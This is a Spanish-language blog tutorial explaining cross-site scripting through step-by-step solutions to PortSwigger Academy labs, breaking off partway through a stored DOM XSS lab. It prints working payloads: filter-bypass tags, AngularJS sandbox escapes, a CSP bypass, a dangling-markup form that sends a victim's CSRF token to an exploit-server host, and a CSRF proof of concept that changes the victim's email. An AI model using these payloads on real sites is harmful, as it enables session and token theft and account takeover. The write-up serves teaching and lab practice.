🚨 Cross-Site Scripting (XSS)

Explicación acerca de Cross-Site Scripting (XSS)

Copyright © 2010-2025 Freepik Company S.L.

📋 Índice de Contenido

📋 Índice

💡¿Qué es el XSS?

XSS (Cross-Site Scripting) es una vulnerabilidad de seguridad en aplicaciones web que permite a un atacante inyectar código malicioso (generalmente en JavaScript) dentro de una página web que será visitada por otros usuarios.

Cuando el navegador de la víctima procesa dicho código, este se ejecuta con los mismos privilegios que si formara parte legítima del propio sitio web.


🧩Tipos de XSS

Dentro de los diferentes tipos de XSS, identificamos tres grupos principales:

  • Reflejado (Reflected XSS): el payload viaja en la URL o en la petición y se refleja directamente en la respuesta.
  • Almacenado (Stored XSS): el payload se guarda en el servidor (p. ej., en comentarios o publicaciones) y se ejecuta cada vez que alguien accede al contenido.
  • Basado en DOM (DOM-based XSS): el payload se ejecuta debido a una manipulación insegura del DOM en el lado del cliente (JavaScript).

En esta sección del blog utilizaremos los laboratorios de PortSwigger para explicar, paso a paso, los distintos escenarios en los que puede producirse XSS.


🧪Laboratorios

En caso de que queráis ver la resolución directa de algún laboratorio, podéis utilizar el siguiente índice:

  • Lab 1: Reflected XSS into HTML context with nothing encoded
  • Lab 2: Stored XSS into HTML context with nothing encoded
  • Lab 3: DOM XSS in document.write sink using source location.search
  • Lab 4: DOM XSS in innerHTML sink using source location.search
  • Lab 5: DOM XSS in jQuery anchor href attribute sink using location.search source
  • Lab 6: DOM XSS in jQuery selector sink using a hashchange event
  • Lab 7: Reflected XSS into attribute with angle brackets HTML-encoded
  • Lab 8: Stored XSS into anchor href attribute with double quotes HTML-encoded
  • Lab 9: Reflected XSS into a JavaScript string with angle brackets HTML encoded
  • Lab 10: DOM XSS in document.write sink using source location.search inside a select element
  • Lab 11: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
  • Lab 12: Reflected DOM XSS
  • Lab 13: Stored DOM XSS
  • Lab 14: Reflected XSS into HTML context with most tags and attributes blocked
  • Lab 15: Reflected XSS into HTML context with all tags blocked except custom ones
  • Lab 16: Reflected XSS with some SVG markup allowed
  • Lab 17: Reflected XSS in canonical link tag
  • Lab 18:
  • Lab 19: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
  • Lab 20: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
  • Lab 21: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
  • Lab 22: Exploiting cross-site scripting to steal cookies
  • Lab 23:
  • Lab 24: Exploiting XSS to bypass CSRF defenses
  • Lab 25: Reflected XSS with AngularJS sandbox escape without strings
  • Lab 26: Reflected XSS with AngularJS sandbox escape and CSP
  • Lab 27: Reflected XSS with event handlers and href attributes blocked
  • Lab 28: Reflected XSS in a JavaScript URL with some characters blocked
  • Lab 29: Reflected XSS protected by very strict CSP, with dangling markup attack
  • Lab 30: Reflected XSS protected by CSP, with CSP bypass

A continuación haremos 3 secciones, XSS Reflejado, XSS Almacenado y XSS Basado en el DOM para explicar cada tipo de ataque.

Para evitar tener multiples imágenes iguales de diferentes laboratorios, la imagen de la barra de busqueda, el campo de comentario de un post y el pop-up de alert serán reutilizados para no gastar espacio en almacenamiento extra de fotos.


🛑 XSS Reflejado

El XSS reflejado ocurre cuando un input del usuario (por ejemplo, un parámetro de URL, un campo de formulario o un encabezado HTTP) se refleja directamente en la respuesta del servidor sin una correcta validación o escape, lo que permite que se ejecute código malicioso en el navegador de la víctima.

🔑 Características clave

  • No se almacena en el servidor.
  • Cada ataque depende de que la víctima haga clic en un enlace o envíe una petición específica.
  • Ejemplo típico: envío de un enlace malicioso por correo electrónico o chat.
  • Se ejecuta al momento de la visita.
  • El código malicioso se inyecta y ejecuta cuando la página carga con el parámetro peligroso.

Al igual que en el resto, para explicar este tipo de ataque, iremos resolviendo de forma progresiva todos los laboratorios que estén relacionados con esta técnica.

Lab 1

XSS reflejado en contexto HTML sin nada codificado

En este laboratorio, nos encontramos con el mismo panel de búsqueda que veremos en el resto de laboratorios.

Al ser el primero de todos, nos encontramos con una barra de búsqueda, donde si yo meto cualquier etiqueta HTML como por ejemplo <script>alert(0)</script>, una vez que yo le de a buscar se me va a interpretar. En este caso, veremos un pop up de alert.

Lab 7

XSS reflejado en un atributo con corchetes angulares codificados en HTML

En este laboratorio, nos encontramos con el mismo panel de búsqueda que hemos visto en laboratorios anteriores.

Si introducimos un valor como test, no observamos nada relevante. Sin embargo, si probamos con un payload como <script>alert(0)</script>, visualmente no parece ocurrir nada, pero al inspeccionar el código fuente de la página se puede notar un comportamiento inusual.

Como podemos observar, los signos <> se están convirtiendo a formato HTML, por lo que no podemos utilizarlos directamente como vector de explotación. No obstante, podemos probar con otros caracteres, por ejemplo, una comilla doble ".

Como se puede observar, finalmente somos capaces de escapar del contexto del atributo value de la etiqueta input, aunque queda una comilla doble sin cerrar.

Gracias a esto, podemos introducir un payload como " onmouseover="alert(0) para salir del contexto del atributo value y aprovechar la comilla sobrante para ejecutar la función alert cuando el cursor pase por encima del elemento. Como se puede comprobar, este enfoque funciona correctamente.

Lab 9

XSS reflejado en una cadena JavaScript con corchetes angulares codificados en HTML

En este laboratorio, nos encontramos con el mismo panel de búsqueda que hemos visto en laboratorios anteriores.

Si introducimos un valor como test y revisamos el código fuente de la página, podemos ver que se está almacenando en una variable llamada searchTerms.

Si probamos a introducir test' para intentar escapar del contexto, observamos un comportamiento diferente en el código fuente, lo que indica que podríamos manipular la variable para explotar la vulnerabilidad.

Como se puede observar, este comportamiento nos permite escapar del contexto de la variable. A partir de esto, la inyección se vuelve directa, ya que en JavaScript es posible concatenar la declaración de variables con llamadas a funciones utilizando un punto y coma ;.

Por ello, si introducimos el siguiente input: '; alert(0);//, somos capaces de ejecutar el ataque, ya que estamos saliendo del contexto de la variable, concatenando con una función y comentando el resto del código para evitar errores.

Lab 12

XSS Reflejado basado en el DOM

Este laboratorio podría entrar tanto en la categoría de XSS reflejado como en la de XSS basado en DOM, pero por simplicidad lo incluiremos aquí.

En este laboratorio, nos encontramos con el mismo panel de búsqueda que hemos visto en laboratorios anteriores.

Si intentamos introducir valores como test o payloads con etiquetas <script>alert(0)</script> u otras variantes como <img> o <svg>, veremos que no ocurre ningún efecto.

Además, al inspeccionar el código fuente de la página, no encontramos rastro de estos inputs; sin embargo, sí podemos observar la presencia de un archivo JavaScript que podría estar procesando los datos de manera insegura.

Si abrimos el archivo, vemos el siguiente código:

function search(path) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
    };
    xhr.open("GET", path + window.location.search);
    xhr.send();

    function displaySearchResults(searchResultsObj) {
        var blogHeader = document.getElementsByClassName("blog-header")[0];
        var blogList = document.getElementsByClassName("blog-list")[0];
        var searchTerm = searchResultsObj.searchTerm
        var searchResults = searchResultsObj.results

        var h1 = document.createElement("h1");
        h1.innerText = searchResults.length + " search results for '" + searchTerm + "'";
        blogHeader.appendChild(h1);
        var hr = document.createElement("hr");
        blogHeader.appendChild(hr)

        for (var i = 0; i < searchResults.length; ++i)
        {
            var searchResult = searchResults[i];
            if (searchResult.id) {
                var blogLink = document.createElement("a");
                blogLink.setAttribute("href", "/post?postId=" + searchResult.id);

                if (searchResult.headerImage) {
                    var headerImage = document.createElement("img");
                    headerImage.setAttribute("src", "/image/" + searchResult.headerImage);
                    blogLink.appendChild(headerImage);
                }

                blogList.appendChild(blogLink);
            }

            blogList.innerHTML += "<br/>";

            if (searchResult.title) {
                var title = document.createElement("h2");
                title.innerText = searchResult.title;
                blogList.appendChild(title);
            }

            if (searchResult.summary) {
                var summary = document.createElement("p");
                summary.innerText = searchResult.summary;
                blogList.appendChild(summary);
            }

            if (searchResult.id) {
                var viewPostButton = document.createElement("a");
                viewPostButton.setAttribute("class", "button is-small");
                viewPostButton.setAttribute("href", "/post?postId=" + searchResult.id);
                viewPostButton.innerText = "View post";
            }
        }

        var linkback = document.createElement("div");
        linkback.setAttribute("class", "is-linkback");
        var backToBlog = document.createElement("a");
        backToBlog.setAttribute("href", "/");
        backToBlog.innerText = "Back to Blog";
        linkback.appendChild(backToBlog);
        blogList.appendChild(linkback);
    }
}

No entraremos a analizar su comportamiento en detalle, pero podemos observar que su función principal es validar el input que el usuario ingresa en el campo de búsqueda (search) y mostrar el resultado correspondiente.

El flujo de ejecución, de forma resumida, es el siguiente: se realiza una llamada a una ruta, en este caso search-results, se toma el valor del parámetro search y se pasa a la función eval. Todo esto se realiza en el siguiente bloque de código:

function search(path) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
    };
    xhr.open("GET", path + window.location.search);
    xhr.send();
}

El problema, viene en el uso de la función eval ya que esta puede ser muy peligrosa. Esto se debe a que pued realizar cosas como la siguientes:

eval("2" + "2" + alert(0))

Al enviar un valor como 4, se muestra la respuesta correspondiente junto con una alerta. A partir de esto, podemos intentar manipular nuestro input para salir del contexto de las comillas de la función eval y ejecutar un alert. Esto se logra con el siguiente payload: \"-alert(0)}//.

El envío de este payload se puede realizar directamente hacia la URL ...search-results?search=\"-alert(0)}//, pero hay un detalle que no se observa claramente sin inspeccionar la petición, por lo que es recomendable utilizar Burp Suite.

Al analizar cómo se tramita una petición a ...search-results?search= en segundo plano, podemos observar lo siguiente:

Como se puede observar, se utiliza una estructura XML para transmitir la información. Por ello, es necesario salir del contexto del XML para poder inyectar el payload malicioso de manera efectiva.

Ahora, como se puede observar, se está logrando tanto escapar del contexto de la función eval como asegurarse de que la estructura XML se mantiene correctamente formada, evitando así errores durante su interpretación.

Lab 14

XSS reflejado con la mayoría de las etiquetas y atributos bloqueados

En este laboratorio, nos encontramos con el mismo panel de búsqueda que hemos visto en laboratorios anteriores.

En este caso, da igual qué input introduzcamos: al poner un < acompañado de texto, el sistema nos responde con tag not allowed. Esto nos indica que se está aplicando algún tipo de sanitización sobre el input del usuario.

No obstante, comprobaremos si es posible introducir algún tag. Para ello, interceptaremos una petición al parámetro search y utilizaremos la herramienta Intruder de Burp Suite para probar la inyección de todas las etiquetas posibles.

Una vez que finaliza el escaneo, observamos que se nos permite utilizar la etiqueta <body>. Si repetimos el mismo proceso para probar los eventos permitidos dentro de la etiqueta <body>, descubrimos que se permite el uso del evento onresize.

Con esta información, podemos rellenar el campo search de la siguiente manera:

Al hacer clic en search y ampliar la ventana del navegador, observamos que aparece un alert, lo que confirma que el XSS ha funcionado.

Para completar el laboratorio, necesitamos configurar un servidor atacante y generar un enlace malicioso. De esta manera, cuando la víctima haga clic en dicho enlace, el XSS se ejecutará en su navegador. Este proceso se realiza de la siguiente manera:

<iframe src="https://0a4f001403e94d50844ac4c1006d00a6.web-security-academy.net/?search=<body onresize=print()>" onload="this.style.width='100px'"></iframe>

Finalmente, al hacer clic en Deliver, completamos el laboratorio.

Lab 15

XSS reflejado con todas las etiquetas bloqueadas excepto las personalizadas

En este laboratorio, nos encontramos con el mismo panel de búsqueda que hemos visto en laboratorios anteriores.

En este laboratorio, todas las etiquetas estándar están bloqueadas, excepto las etiquetas personalizadas. Por ejemplo, si introducimos <custom>test</custom>, se inserta correctamente y aparece en el código fuente, lo que indica que se está interpretando.

A partir de esto, podemos aprovechar eventos para nuestra etiqueta personalizada. Podemos probar con onfocus para que, al seleccionar el texto, se ejecute un alert. Esto se realiza de la siguiente manera:

<custom onfocus=alert() tabindex=1>XSS</custom>

Al seleccionar el texto, se mostrará el mensaje de alert.

Sin embargo, este laboratorio no se completa de esta manera, ya que es necesario enviar el payload a la víctima. Para lograrlo, utilizaremos los identificadores y el símbolo # para forzar un focus. A continuación, procederemos a utilizar el Exploit Server de una manera muy similar al laboratorio anterior.

Introducimos este código en el campo correspondiente y hacemos clic en Deliver.

<script>
	location='https://0ad10066041ec633800008f000200038.web-security-academy.net/?search=<custom id=XSS onfocus=alert(document.cookie) tabindex=1>#XSS';
</script>

Y completamos el laboratorio.

Lab 16

XSS reflejado con algunas marcas SVG permitidas

En este laboratorio, nos encontramos con el mismo panel de búsqueda que hemos visto en laboratorios anteriores.

Al igual que en el Lab 14, nos encontramos con que casi todas las etiquetas están bloqueadas. Nuevamente, utilizaremos la herramienta Intruder de Burp Suite para comprobar si alguna etiqueta está permitida.

En este caso, las etiquetas permitidas son <svg> y <animatetransform>. Además, si revisamos los eventos de la misma manera que en el Lab 14, observamos que se permite el uso del evento onbegin.

La combinación de estas etiquetas y eventos nos permite crear un conjunto específico para ejecutar un XSS.

<svg><animatetransform onbegin='alert(0)'></svg>

Al introducir este payload en el buscador y hacer clic en Buscar, veremos que aparece el pop-up de la alerta, confirmando que el XSS ha funcionado correctamente.

Lab 17

XSS reflejado en la etiqueta de enlace canónico

En este laboratorio, el vector de ataque se dirige al tipo de link canonical que hemos detectado al analizar el código fuente de la página.

<link rel="canonical" href='https://0a37007503a3f96980847747004f005b.web-security-academy.net/'/>

Este tipo de links se colocan en la sección <head> de una página web para indicar a los motores de búsqueda cuál es la versión “preferida” o “canónica” de una URL cuando existen múltiples versiones con contenido similar o duplicado.

No obstante, en este caso podemos aprovecharlo a nuestro favor para intentar ejecutar un XSS. Por ejemplo, al añadir ?search= a la URL, observamos que el valor del link se actualiza dinámicamente.

<link rel="canonical" href='https://0a37007503a3f96980847747004f005b.web-security-academy.net/?search='/>

Podemos aprovechar este comportamiento para intentar salir del contexto del elemento link e inyectar contenido arbitrario. Por ejemplo, al añadir ?search=' a la URL, observamos que hemos logrado salir del contexto y queda una comilla sin cerrar.

<link rel="canonical" href='https://0a37007503a3f96980847747004f005b.web-security-academy.net/?search=''/>

Gracias a esto, podemos, al igual que en laboratorios anteriores, aprovechar la comilla sin cerrar para introducir nuestro contenido malicioso y utilizar dicha comilla para cerrar correctamente nuestro input.

En este caso, el laboratorio requiere que introduzcamos un payload que haga que, cuando un usuario presione Alt + X, aparezca un alert en la pantalla.

Podemos lograr esto de la siguiente manera:

<link rel="canonical" href='https://0a37007503a3f96980847747004f005b.web-security-academy.net/?'accesskey='x'onclick='alert(0)'/>

De esta manera, hemos logrado escapar del contexto y aprovechar la comilla restante para cerrar nuestro atributo onclick.

Y si hacemos Alt + X pues evidentemente, vemos el alert.

Lab 19

XSS reflejado en una cadena JavaScript y comillas simples escapadas

En este laboratorio, nos encontramos con el mismo panel de búsqueda que hemos visto en laboratorios anteriores.

Si introducimos, por ejemplo, la palabra test y luego inspeccionamos el código fuente, podemos observar lo siguiente:

Nuestro input se está almacenando en una variable, por lo que podemos intentar escapar de su contexto utilizando un valor como 'test.

Sin embargo, lo que ocurre es que se inserta una barra invertida (\) antes de la comilla ' para evitar que escapemos del contexto. Aun así, podemos intentar escapar del contexto de la barra invertida para finalmente salir del contexto de la comilla, por ejemplo utilizando el payload test\'.

Como se puede apreciar, el intento ha sido exitoso y hemos logrado escapar de ambos contextos.

A partir de aquí, tal y como se ha hecho en laboratorios anteriores, concatenamos la creación de la variable con una función utilizando ; y comentamos el resto del código para que no interfiera. Por ejemplo:

test\';alert(0);//

Y así, completamos el laboratorio.

Lab 21

XSS reflejado en una plantilla literal con corchetes angulares, comillas simples, comillas dobles, barra invertida y comillas invertidas escapadas con Unicode

En este laboratorio, nos encontramos con el mismo panel de búsqueda que hemos visto en laboratorios anteriores.

Si probamos a buscar, por ejemplo, la palabra test y luego inspeccionamos el código fuente de la página, observamos que se está almacenando en una variable, tal como ha ocurrido en laboratorios anteriores, pero en esta ocasión de una manera algo peculiar.

Observamos el uso de comillas invertidas (`), las cuales nos permiten insertar, mediante ${}, una variable o función directamente. Por ejemplo:

Una vez entendido este comportamiento, podemos introducir un payload como ${alert(0)} en el campo de declaración de la variable, de manera que se ejecute el alert directamente.

Lab 25

XSS reflejado escapando de la sandbox de AngularJS sin strings

Este laboratorio se encuentra dentro de los clasificados como nivel experto, ya que introduce conceptos y técnicas nuevas que conviene comprender a fondo.

El objetivo que se nos plantea es romper la sandbox de AngularJS para conseguir insertar un alert, pero con la particularidad de que no está permitido hacer uso de ningún tipo de string.

En este escenario, nos encontramos nuevamente con el mismo panel de búsqueda que hemos visto en laboratorios anteriores.

Antes de proceder a resolver el laboratorio, conviene explicar algunos conceptos clave. Lo primero es entender qué es la sandbox de AngularJS.

La sandbox en AngularJS es un mecanismo de seguridad interno diseñado para prevenir la ejecución de código JavaScript peligroso dentro de las expresiones de Angular (``) que se renderizan en la vista.

Por ejemplo, AngularJS permite utilizar expresiones dentro del HTML de la siguiente manera:

<p>1</p>

Sin embargo, si un atacante intenta inyectar algo como: alert(1)

AngularJS aplica restricciones para evitar la ejecución de código no autorizado. Esta sandbox bloquea construcciones potencialmente peligrosas, como accesos directos a window o document, llamadas a eval, o el uso de cadenas con comillas (' o "), ya que podrían facilitar la ejecución de código arbitrario.

Como consecuencia, si introducimos cualquier valor en el campo de búsqueda, veremos que nada funciona, dado que el sistema escapa las comillas y convierte todo a su representación HTML codificada.

Por ejemplo, si realizamos una búsqueda normal con la palabra test e inspeccionamos el código fuente, observamos lo siguiente:

angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
	$scope.query = {};
	var key = 'search';
	$scope.query[key] = 'test';
	$scope.value = $parse(key)($scope.query);
});

Para entender mejor por qué esto es vulnerable, vamos a explicarlo paso a paso. En primer lugar, se crea un módulo de Angular llamado labApp que no tiene ninguna dependencia ([]). Este módulo es donde se definen, por ejemplo, los controladores y los servicios. A continuación, se crea un controlador llamado vulnCtrl y se le pasa una función por defecto de Angular con los parámetros $scope y $parse.
$scope es el objeto encargado de conectar los datos de este controlador con la vista (HTML), mientras que $parse evalúa expresiones para transformarlas en funciones que posteriormente se puedan ejecutar.

A continuación, se crea un objeto query vacío {} dentro del $scope. Esto permite que dicho objeto pueda ser invocado desde el documento mediante ``. Después, se define una variable con el nombre del parámetro y, con:

$scope.query[key] = 'test';

lo que realmente se hace es asignar al objeto query el valor test. Esto es equivalente a:

$scope.query = { search: 'test' };

La última línea de código:

$scope.value = $parse(key)($scope.query);

La instrucción llama a la función $parse, que como ya mencionamos, se encarga de interpretar expresiones con el valor asociado a la clave key. En este caso, el valor vinculado a search es test. El resultado de dicha evaluación se almacena en $scope.value.

Una vez comprendido todo este bloque, es fundamental explicar por qué esto resulta vulnerable: el valor contenido en key proviene directamente del input del usuario y no atraviesa ningún proceso de validación antes de ser ejecutado por la función $parse. Esto representa un riesgo considerable de seguridad.

Para comprobarlo, podemos añadir otro parámetro en la URL de la siguiente manera:

https://0abb006603c1a53a8005084e00060076.web-security-academy.net/?search=test&xss=1

Y si inspeccionamos el código fuente de nuevo, vemos este nuevo bloque de código en JavaScript.

angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
	$scope.query = {};
	var key = 'search';
	$scope.query[key] = 'test';
	$scope.value = $parse(key)($scope.query);
	var key = 'xss';
	$scope.query[key] = '1';
	$scope.value = $parse(key)($scope.query);
});

Como se puede observar, para el nuevo parámetro xss se ha generado nuevamente un bloque de código que interpreta cualquier valor que se le pase.

Dado que lo que se almacena en key se evalúa mediante la función $parse, es posible inyectar prácticamente cualquier expresión que AngularJS pueda interpretar.

Por ejemplo, podemos probar con la siguiente URL:

https://0abb006603c1a53a8005084e00060076.web-security-academy.net/?search=test&2+2=1

y luego hacer clic en Buscar para ver cómo se evalúa la expresión.

Al probarlo, vemos que el resultado es 4, ya que la expresión 2+2 se está evaluando a través de $parse y devuelve el valor numérico.

Una vez comprendido cómo se puede explotar esta vulnerabilidad, podemos recurrir a una cheatsheet y buscar un oneliner ya preparado para nuestra versión de AngularJS, que en este caso es la 1.4.4.

En nuestro ejemplo, podemos utilizar el siguiente payload:

toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)

Si copiamos este payload y lo colocamos como valor del parámetro correspondiente, se ejecutará y veremos un popup de alert.

Lab 26

XSS reflejado escapando de la sandbox de AngularJS y del CSP

En este escenario, nos encontramos nuevamente con el mismo panel de búsqueda que hemos visto en laboratorios anteriores.

Si intentamos introducir cualquier etiqueta HTML, observamos que no se interpretan. Incluso si añadimos una etiqueta <script> con algún alert e inspeccionamos el código, podemos ver que las etiquetas están presentes, pero no llegan a ejecutarse.

Al recargar la página y revisar el apartado de Red en las herramientas de desarrollador, dentro de nuestra petición aparece un nuevo response header llamado CSP.

El CSP (Content Security Policy) es una cabecera de seguridad HTTP que los servidores envían al navegador para controlar qué recursos se pueden cargar y ejecutar dentro de una página web.

Si revisamos la versión de AngularJS, podemos dirigirnos a la cheatsheet de PortSwigger para comprobar si existe alguna técnica que nos permita bypassear el CSP.

En ella encontramos la siguiente:

<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>

Esta técnica resulta de interés porque, al manipular el atributo id, podemos forzar que en nuestro exploit server, al cargarse la página, se redirija automáticamente mediante # al identificador x. De esta manera, se realiza el focus y se ejecuta el alert.

Si abrimos el exploit server, la página web maliciosa quedaría de la siguiente forma:

<script>
	location='https://0ac800bc0430595781fc93ca00bb00a9.web-security-academy.net/?search=<input+id=x+ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27>#x';
</script>

Lab 27

XSS reflejado con controladores de eventos y atributos href bloqueados

En este escenario, nos encontramos nuevamente con el mismo panel de búsqueda que hemos visto en laboratorios anteriores.

Si intentamos insertar etiquetas HTML, vemos que en esta ocasión no se interpreta ninguna, o casi ninguna.

Al igual que hicimos en el Lab 14, podemos utilizar Intruder para comprobar qué etiquetas están realmente permitidas. Entre ellas encontramos: <a>, <svg>, <animate> y <text>.

Con la etiqueta <a> podría pensarse en un ataque sencillo, ya que su atributo href permitiría ejecutar algo como javascript:alert(0). Sin embargo, al probarlo comprobamos que este atributo está bloqueado.

No obstante, disponemos de la etiqueta <svg>. Si combinamos esta con la etiqueta <animate>, que nos permite hacer referencia a un atributo por su nombre para animarlo, podemos construir un payload como el siguiente:

<svg><a><animate attributeName=href values=javascript:alert(0) /><text x=30 y=40>Click</text></a>

Todo esto consigue que, al hacer clic sobre el texto, se active el alert.

Lab 28

XSS reflejado en una URL de JavaScript con algunos caracteres bloqueados

En este laboratorio no contamos con el típico panel de búsqueda que hemos visto en ocasiones anteriores.

El objetivo aquí es vulnerar el botón Back to blog, en el cual, si pasamos el cursor por encima (hovering), podemos observar lo siguiente:

<a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=2'}).finally(_ => window.location = '/')">Back to Blog</a>

Además, tenemos control sobre el parámetro postId en la URL de la página, por lo que podemos intentar aprovecharlo para salir del contexto del parámetro method que se le pasa a la función fetch.

Si introducimos un valor distinto a un número en dicho parámetro, obtenemos un error.
Por ejemplo, si intentamos escapar con algo como 2'},{x' para salir del contexto del {method} que vemos en segundo plano, la aplicación devuelve el mensaje “invalid post ID”.

No obstante, podemos comprobar qué caracteres nos permite inyectar en este campo. Una manera de hacerlo es mediante wfuzz, utilizando un comando como el siguiente:

wfuzz -c -w /usr/share/wordlists/seclists/Fuzzing/special-chars.txt 'https://0a5100de03c05be0816c21fb00e8002a.web-security-academy.net/post?postId=2FUZZ%27},{x:%27}'

El resultado del fuzzing nos devuelve dos símbolos con código de estado 200: & y #.

Si, por ejemplo, probamos a realizar la siguiente petición:

https://0a5100de03c05be0816c21fb00e8002a.web-security-academy.net/post?postId=2&'},{x:'

esta vez no se genera un error.

A partir de esto ya sabemos que es posible escapar el contexto del parámetro. Además, teniendo en cuenta que en JavaScript, si a una función se le pasan más parámetros de los esperados, en lugar de fallar simplemente los procesa, podemos aprovecharlo para inyectar una función y conseguir un XSS.

Para incrementar la dificultad del laboratorio, se nos impide utilizar paréntesis (), ya que al escribirlos en la URL son eliminados.
Por este motivo no podemos ejecutar directamente algo como alert(0).

La solución es recurrir a algunos trucos en JavaScript que permiten crear una función que dispare un alert sin necesidad de usar paréntesis. Un ejemplo es el siguiente bloque de código:

x = x =>{
    throw onerror=alert,1337
}
toString = x
window + ''

En este caso:

  • Se crea una función de tipo arrow function.
  • Se sobrescribe el método nativo de JavaScript toString.
  • Gracias a esto, al ejecutar la operación window + ‘’, internamente se fuerza la llamada a toString, lo que provoca la ejecución del alert.

Todo este código lo unimos en una sola línea y lo insertamos entre los caracteres que habíamos utilizado para escapar del contexto.

De esta forma, el payload final queda así:

&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'

Lab 29

XSS reflejado protegido por CSP muy estricto, con dangling markup attack

En esta ocasión, se nos proporcionan unas credenciales con las que debemos realizar un ataque de tipo CSRF.

Si iniciamos sesión con dichas credenciales e inspeccionamos el código, observamos que el campo del formulario para cambiar el correo tiene la siguiente estructura:

<input required type="email" name="email" value="">

Dado que el valor que se introduce en este campo puede ser controlado directamente desde la URL mediante ?email=, podemos intentar salir del contexto del atributo value.

Por ejemplo, utilizando test">

<input required type="email" name="email" value="test">">

Podríamos intentar, por ejemplo, insertar un alert directamente, pero como hemos visto anteriormente, el CSP lo bloquea.

No obstante, podemos aprovechar la estrategia de escapar del contexto para cerrar el formulario original, crear uno nuevo e insertar un botón. De esta manera, cuando un usuario haga clic en él, se enviará su CSRF token a nuestro servidor malicioso.

Este ataque se puede construir de la siguiente manera:

test"></form><form class="xss" name="xssForm" action="https://exploit-0a02003b0380f95a815b88f801570050.exploit-server.net/exploit" method="GET"><button class="button" type="submit">Click</button>

Podemos colocar este código en nuestro exploit server para capturar el CSRF token del usuario:

<script>
	location='https://0ada00da03cdf96481b889e5003b00a9.web-security-academy.net/my-account?email=test"></form><form class="xss" name="xssForm" action="https://exploit-0a02003b0380f95a815b88f801570050.exploit-server.net/exploit" method="GET"><button class="button" type=""submit">Click</button';
</script>

Si revisamos los logs, podemos comprobar que efectivamente hemos robado el CSRF token NN3MCLpwdU3aN05snRyrqN7JeTTLC1E6.

Sin embargo, al intentar usar este token en Burp Suite para cambiar el correo de la víctima, nos damos cuenta de que está vinculado a la cookie de sesión del usuario, por lo que no nos permite realizar la acción.

Sin embargo, podemos forzar al usuario a enviar directamente la petición al acceder a nuestro servidor malicioso.

Esto se puede realizar de manera rápida, ya que Burp Suite proporciona un PoC para CSRF tokens, el cual genera automáticamente el código que debemos colocar en nuestro exploit server para completar el laboratorio.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0ada00da03cdf96481b889e5003b00a9.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker@evil-user.net" />
      <input type="hidden" name="csrf" value="NN3MCLpwdU3aN05snRyrqN7JeTTLC1E6" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

De esta manera, el laboratorio queda completado exitosamente.

Lab 30

XSS reflejado protegido por CSP, con omisión de CSP

En este escenario, nos encontramos nuevamente con el mismo panel de búsqueda que hemos visto en laboratorios anteriores.

Una vez más, la aplicación interpreta cualquier tipo de etiqueta HTML, pero bloquea la ejecución de cualquier función en JavaScript debido al CSP.

Sin embargo, si revisamos los headers en la pestaña de Red, observamos que el CSP depende de una cookie obtenida a partir de un parámetro token.

Esto resulta potencialmente peligroso, ya que podemos controlar el valor de este token mediante la URL. Podemos intentar escapar del contexto y modificar el CSP.

Por ejemplo, si introducimos en el campo de búsqueda:

<script>alert(0)</script>

y lo concatenamos con &token=;script-src-elem 'unsafe-inline' para escapar del contexto y modificar el CSP, veremos que ahora sí se ejecuta el alert.

💾 XSS Almacenado

El XSS almacenado ocurre cuando el input malicioso de un atacante se guarda en el servidor (por ejemplo, en una base de datos, archivo de logs o sistema de comentarios) y luego es mostrado a otros usuarios sin una validación ni escape adecuados.

Esto significa que cada vez que otro usuario visite la página vulnerable, el payload malicioso se ejecutará automáticamente en su navegador.

🔑 Características clave

  • El payload se almacena en el servidor (base de datos, comentarios, perfiles, foros, etc.).
  • Se ejecuta automáticamente cuando otros usuarios acceden a la página afectada.
  • No requiere que la víctima haga clic en un enlace malicioso (a diferencia del reflejado).
  • Tiene un impacto mayor, ya que puede afectar a todos los usuarios que vean el contenido.
  • Se suele usar para robar cookies, tokens CSRF o credenciales

Al igual que en el resto, para explicar este tipo de ataque, iremos resolviendo de forma progresiva todos los laboratorios que estén relacionados con esta técnica.

Lab 2

XSS almacenado en contexto HTML sin nada codificado

En este laboratorio, nos encontramos con el mismo panel de comentario que veremos en el resto de laboratorios.

Lab 8

XSS almacenado en el atributo href con comillas dobles codificadas en HTML

En este laboratorio, nos encontramos con el mismo panel de comentario que hemos visto en laboratorios anteriores.

Si rellenamos todo de la siguiente manera:

Vemos los siguiente

Si hacemos hovering sobre el campo Website, observamos que nos redirige a http://test.com.
Esto indica que la aplicación está interpretando directamente el valor de este campo y utilizándolo como un enlace.

Si probamos a inyectar HTML en otros campos, como por ejemplo <h1>test</h1>, vemos que se muestra como texto plano, lo que nos lleva a intuir que el campo Website es el único vulnerable.

Con esta idea en mente, podemos intentar inyectar algo como:

javascript:alert(0);

Al guardar el comentario y hacer click en el enlace, se ejecuta el alert, confirmando la vulnerabilidad XSS.

Lab 13

XSS almacenado basado en el DOM

Este laboratorio podría entrar tanto en la categoría de XSS almacenado como en la de XSS basado en DOM, pero por simplicidad lo incluiremos aquí.

En este laboratorio, nos encontramos con el mismo panel de comentario que hemos visto en laboratorios anteriores.

Si probamos a introducir payloads como en ocasiones anteriores, observamos un comportamiento extraño.
Por ejemplo, al inyectar la etiqueta:

<script>alert(0)</script>

